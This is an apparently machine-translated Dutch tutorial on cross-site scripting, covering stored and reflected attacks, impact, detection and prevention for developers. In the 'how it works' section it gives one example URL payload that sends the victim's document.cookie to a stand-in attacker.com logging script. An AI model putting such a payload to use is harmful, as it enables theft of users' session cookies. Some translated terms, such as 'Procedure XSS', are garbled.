Inleiding tot cross-site scripting

  • Met het toenemende aantal webapplicaties op internet is webbeveiliging nu een belangrijk punt van zorg geworden. Het hacken en stelen van de privégegevens van gebruikers is nu gebruikelijk en het bedreigt hen om elke applicatie te gebruiken. Cross Site Scripting is een van de populaire aanvallen op de webbeveiliging van gebruikers. Laten we inzicht krijgen in wat cross-site scripting is.
  • Cross Site Scripting aangeduid als XSS, is een kwetsbaarheid voor computerbeveiliging waarbij de aanvaller ernaar streeft een aantal kwaadaardige code in de vorm van scripts toe te voegen aan een vertrouwde website / webpagina. Het is een client-side code-injectie en het kwaadaardige script wordt uitgevoerd in de webbrowser van de gebruiker wanneer hij die website / webpagina bezoekt. Indirect wordt deze website een medium om de kwaadaardige code naar de gebruiker te sturen. Door scripts te injecteren omzeilen aanvallers de DOM (Document Object Model) van beveiligingsbeperkingen en krijgen ze toegang tot gevoelige pagina-inhoud van de gebruiker, sessiecookies, browsegeschiedenis en de meeste privégegevens die door de browser worden beheerd.
  • Website met forums, prikborden, webpagina's waarop opmerkingen kunnen worden geplaatst en sites die ongeanitiseerde gebruikersinvoer en de aldus gegenereerde uitvoer gebruiken, zijn het meest kwetsbaar voor XSS-aanvallen. Hoewel de XSS-aanvallen mogelijk zijn in VBScript, ActiveX en CSS, komen ze het meest voor in Javascript, omdat dit van fundamenteel belang is voor de meeste browse-ervaringen.

Verschillende soorten Cross Site Scripting (XSS)

Hoewel er geen specifieke classificatie van cross-site scripting bestaat, hebben sommige experts het in twee soorten ingedeeld die hieronder in detail worden besproken:

Opgeslagen XSS-aanvallen :

  • Opgeslagen XSS zijn die waarin het kwaadaardige script dat door de aanvaller is geïnjecteerd, in de database wordt opgeslagen en in de browser van de gebruiker wordt uitgevoerd wanneer hij in een of andere vorm toegang probeert te krijgen tot de database. Deze worden ook wel Persistent of opgeslagen XSS genoemd. Dit is een van de meest verwoestende aanvallen en gebeurt vooral wanneer op de website / webpagina opmerkingen kunnen worden geplaatst of HTML-inhoud kan worden ingesloten.
  • De aanvaller voegt het javascript toe in de opmerking die wordt opgeslagen in de database en wanneer de gebruiker de betreffende pagina opent en de gegevens uit de database ophaalt, wordt het schadelijke script in de browser uitgevoerd en krijgt die aanvaller ongeautoriseerde toegang tot de privégegevens van de gebruiker.
  • Bijvoorbeeld, in een e-commerce website zoals Olx die een niet-gesanitiseerd berichtvenster voor productbeschrijving heeft, voegt een aanvaller als de productverkoper het schadelijke javascript toe en het wordt opgeslagen in de database van de website.
  • Wanneer de koper de productbeschrijving opent om de details van het product te bekijken, wordt het slachtoffer nu het script wordt uitgevoerd in de webbrowser en worden alle details van de gebruiker die de browser toestaat gekaapt.

Procedure XSS-aanvallen:

  • Dit is een van de meest voorkomende manieren waarop een aanvaller een XSS-aanval op de gebruiker kan veroorzaken. Kortom, in Procedure XSS-aanvallen richt de aanvaller het slachtoffer door een e-mail, een kwaadaardige link te sturen of een string toe te voegen in het zoekresultaat die naar een vertrouwde website verwijst maar de schadelijke javascript-code bevat.
  • Als een slachtoffer op die URL klikt, start het het HTTP-verzoek en stuurt het een verzoek naar de kwetsbare webtoepassing. Het verzoek komt vervolgens terug bij het slachtoffer met een reactie van de ingesloten JavaScript-code die de webbrowser uitvoert, aangezien deze afkomstig is van een vertrouwde website en de vertrouwelijke gegevens van de browser worden gekaapt.
  • Op een e-commerce-website is er bijvoorbeeld een zoekvak waarin een gebruiker de items kan doorzoeken en de tekenreeks in het zoekvak zichtbaar is in de URL van de website wanneer de zoekopdracht naar de server wordt verzonden.
  • De aanvaller maakt een koppeling waarin het schadelijke script wordt samengevoegd in de URL en via e-mail naar het slachtoffer wordt gestuurd. Wanneer het slachtoffer die link opent, wordt het verzoek verzonden naar de kwaadwillende website van de aanvaller en worden alle browsergegevens van het slachtoffer gekaapt en naar het systeem van de aanvaller verzonden.

Hoe werkt Cross Site Scripting (XSS)?

  • In de kwetsbaarheid van Cross Site Scripting (XSS) is het belangrijkste motief van de aanvaller om de gegevens van de gebruiker te stelen door het schadelijke script in zijn browser uit te voeren, dat wordt geïnjecteerd in de website-inhoud die de gebruiker op verschillende manieren gebruikt.
  • Wanneer een gebruiker bijvoorbeeld naar tekst op een website zoekt, wordt het verzoek naar de server verzonden in de vorm:

https://www.abcwebsite.com/search?q=text1

In het zoekresultaat retourneert de website het resultaat samen met wat de gebruiker zocht:

U heeft gezocht naar: tekst1

Als de zoekfunctionaliteit kwetsbaar is voor XSS, kan de aanvaller het schadelijke script toevoegen aan de URL:

https://www.abcwebsite.com/search= documentlocatie = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Wanneer het slachtoffer op deze link klikt, wordt deze doorgestuurd naar de kwaadaardige website, dat wil zeggen https://attacker.com en worden alle browsergegevens direct naar de computer van de aanvaller gestuurd, waardoor de aanvaller alle sessietokens / cookies steelt.
  • Op deze manier injecteert een aanvaller zijn schadelijke script in de URL, en kan Attacker dat script ook opslaan op de server die onder Opgeslagen XSS valt.

Gevolgen van beveiligingslekken met betrekking tot cross-site scripting:

De impact van cross-site scripting varieert enorm. Na het misbruiken van de XSS-kwetsbaarheid, krijgt een aanvaller volledige controle over de browser van het slachtoffer en kan hij verschillende acties uitvoeren, variërend van kleine, zoals het bekijken van de browsergeschiedenis tot rampzalige zoals het invoegen van wormen in de computer.

Enkele van de acties die de aanvaller kan uitvoeren door misbruik te maken van de XSS-kwetsbaarheid zijn: -

  1. Lekkende gevoelige informatie zoals gebruikersnaam en wachtwoord.
  2. Wormen op de computer invoegen.
  3. De gebruiker wordt omgeleid naar een gevaarlijke website en wordt gedwongen bepaalde acties uit te voeren
  4. Toegang tot de browsegeschiedenis van het slachtoffer.
  5. Installatie van Trojaans paard programma.
  6. Dwing de gebruiker om de waarden in de toepassing uit te voeren en te wijzigen door toegang te krijgen

Het vinden van kwetsbaarheden voor cross-site scripting:

  • XSS-kwetsbaarheden doen zich om twee redenen voor: de invoer van de gebruiker is niet gevalideerd voordat deze naar de server wordt verzonden of de uitvoer die naar de browser wordt ontvangen, is niet HTML-gecodeerd. Rekening houdend met de rampzalige gevolgen van de kwetsbaarheid van XSS en de bescherming van de privacy van gebruikers, is het erg belangrijk om te achterhalen of de webapplicatie kwetsbaar is voor XSS of niet.
  • Hoewel XSS moeilijk te identificeren en te verwijderen is, is de beste manier om dit te controleren, de beveiligingscontrole van de code uit te voeren en te controleren op alle plaatsen waar de invoer van het HTTP-verzoek zijn weg kan vinden om te worden weergegeven als Uitvoer in een toepassing. Het gebruik van de automatische kwetsbaarheidsscannerhulpmiddelen, waaronder gespecialiseerde XSS-scannermodule om de hele webapplicatie te scannen, kan ook helpen bij het scannen en vinden van de kwetsbaarheden in een applicatie.

Waarom XSS voorkomen?

  • XSS is een kwetsbaarheid voor code-injectie, dus het is erg belangrijk om de gegevens te coderen die naar de server worden verzonden en de gegevens die van de server naar de browser van een gebruiker komen.
  • Gegevensvalidatie is ook erg belangrijk, zodat de browser de code interpreteert zonder schadelijke opdrachten. Er zijn verschillende preventiemethoden geïntroduceerd om de gegevensvalidatie en codering als prioriteit te behouden voor een website die kwetsbaar is voor XSS.

Sommige punten moeten worden gericht om XSS te voorkomen: -

  1. Ondersteuning voor HTTP-tracering op alle webservers moet worden uitgeschakeld, omdat de aanvaller de cookie- en privébrowser-gegevens kan stelen via een HTTP-trace-oproep van de server, zelfs als document.cookie is uitgeschakeld in de browser van het slachtoffer.
  2. Ontwikkelaars moeten de invoer opschonen en mogen de rechtstreeks van de gebruiker ontvangen gegevens nooit uitvoeren zonder deze te valideren.
  3. Koppelingen moeten in het algemeen niet worden toegestaan ​​als ze niet beginnen met de op de witte lijst geplaatste protocollen zoals HTTP: //, https: // waardoor het gebruik van URI-schema's zoals javascript: // wordt voorkomen.

Conclusie:

XSS-aanvallen zijn gevaarlijk en kunnen de privacy van de gebruiker schaden en de gegevens stelen, tenzij de normale gebruiker de toepassing zorgvuldig doorzoekt. Daarom moeten ontwikkelaars tijdens het ontwikkelen van de applicatie de strikte beveiligingsregels volgen, met name voor zowel data als server, zodat de applicatie het minst kwetsbaar is voor XSS en meer gebruikers erop kunnen vertrouwen.

Aanbevolen artikelen

Dit is een gids voor Wat is Cross Site Scripting ?. Hier bespreken we de verschillende soorten cross-site, werking, impact en preventie van XSS respectievelijk. U kunt ook onze andere voorgestelde artikelen doornemen voor meer informatie -

  1. Hoe JavaScript werkt
  2. Wat is een phishingaanval?
  3. Wat is een cyberaanval?
  4. HTTP-caching
  5. Hoe werken cookies in JavaScript met Example?